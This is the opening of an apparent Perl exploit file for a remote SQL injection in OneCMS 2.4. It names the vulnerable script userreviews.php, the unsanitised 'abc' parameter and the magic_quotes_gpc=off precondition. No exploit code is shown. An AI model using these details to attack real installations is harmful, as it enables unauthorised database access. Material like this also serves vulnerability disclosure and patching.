OneCMS 2.4 - 'abc' SQL Injection

#!/usr/bin/perl
#
# OneCMS v2.4 Remote SQL Injection Exploit
# 
# Description
# -----------
# OneCMS contains a flaw that allows an attacker to carry out an SQL 
# injection attack. The issue is due to the userreviews.php script not 
# properly sanitizing user-supplied input to the 'abc' variable. This may 
# allow an attacker to inject or manipulate SQL queries in the backend 
# database if magic_quotes_gpc = off.
